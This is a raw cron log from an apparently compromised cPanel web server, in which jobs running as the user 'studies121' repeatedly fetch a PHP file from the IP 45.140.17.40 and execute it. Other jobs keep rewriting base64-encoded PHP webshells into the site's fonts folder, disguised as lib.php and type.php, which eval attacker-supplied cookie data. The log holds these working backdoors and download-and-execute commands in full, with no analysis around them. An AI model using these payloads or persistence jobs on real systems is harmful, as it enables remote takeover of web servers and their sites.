Sep  3 11:00:01 ip-184-168-122-23 CROND[24707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:00:01 ip-184-168-122-23 CROND[24712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:00:01 ip-184-168-122-23 CROND[24709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:00:01 ip-184-168-122-23 CROND[24710]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:00:01 ip-184-168-122-23 CROND[24711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:00:01 ip-184-168-122-23 CROND[24713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:00:01 ip-184-168-122-23 CROND[24714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:00:01 ip-184-168-122-23 CROND[24715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:01:01 ip-184-168-122-23 CROND[24880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:01:01 ip-184-168-122-23 CROND[24882]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 11:01:01 ip-184-168-122-23 CROND[24884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:01:01 ip-184-168-122-23 CROND[24885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:01:01 ip-184-168-122-23 CROND[24886]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 11:01:01 ip-184-168-122-23 CROND[24887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24886]: starting 0anacron
Sep  3 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24903]: finished 0anacron
Sep  3 11:02:01 ip-184-168-122-23 CROND[25019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:02:01 ip-184-168-122-23 CROND[25022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:02:01 ip-184-168-122-23 CROND[25021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:02:01 ip-184-168-122-23 CROND[25023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:02:01 ip-184-168-122-23 CROND[25024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:03:01 ip-184-168-122-23 CROND[25189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:03:01 ip-184-168-122-23 CROND[25190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:03:01 ip-184-168-122-23 CROND[25192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:03:01 ip-184-168-122-23 CROND[25194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:04:01 ip-184-168-122-23 CROND[25373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:04:01 ip-184-168-122-23 CROND[25375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:04:01 ip-184-168-122-23 CROND[25376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:04:01 ip-184-168-122-23 CROND[25377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:04:01 ip-184-168-122-23 CROND[25378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:05:01 ip-184-168-122-23 CROND[25501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:05:02 ip-184-168-122-23 CROND[25503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:05:02 ip-184-168-122-23 CROND[25505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:05:02 ip-184-168-122-23 CROND[25506]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 11:05:02 ip-184-168-122-23 CROND[25508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:05:02 ip-184-168-122-23 CROND[25511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:05:02 ip-184-168-122-23 CROND[25504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:06:02 ip-184-168-122-23 CROND[25614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:06:02 ip-184-168-122-23 CROND[25616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:06:02 ip-184-168-122-23 CROND[25615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:06:02 ip-184-168-122-23 CROND[25618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:06:02 ip-184-168-122-23 CROND[25617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:07:01 ip-184-168-122-23 CROND[25776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:07:01 ip-184-168-122-23 CROND[25778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:07:01 ip-184-168-122-23 CROND[25779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:07:01 ip-184-168-122-23 CROND[25777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:08:01 ip-184-168-122-23 CROND[25917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:08:01 ip-184-168-122-23 CROND[25916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:08:01 ip-184-168-122-23 CROND[25918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:08:01 ip-184-168-122-23 CROND[25921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:08:01 ip-184-168-122-23 CROND[25920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:09:01 ip-184-168-122-23 CROND[26098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:09:01 ip-184-168-122-23 CROND[26101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:09:01 ip-184-168-122-23 CROND[26103]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 11:09:01 ip-184-168-122-23 CROND[26102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:09:01 ip-184-168-122-23 CROND[26100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:10:01 ip-184-168-122-23 CROND[26222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:10:01 ip-184-168-122-23 CROND[26223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:10:01 ip-184-168-122-23 CROND[26226]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:10:01 ip-184-168-122-23 CROND[26229]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:10:01 ip-184-168-122-23 CROND[26228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:10:01 ip-184-168-122-23 CROND[26225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:10:01 ip-184-168-122-23 CROND[26224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:10:01 ip-184-168-122-23 CROND[26230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:11:01 ip-184-168-122-23 CROND[26355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:11:01 ip-184-168-122-23 CROND[26357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:11:01 ip-184-168-122-23 CROND[26354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:11:01 ip-184-168-122-23 CROND[26356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
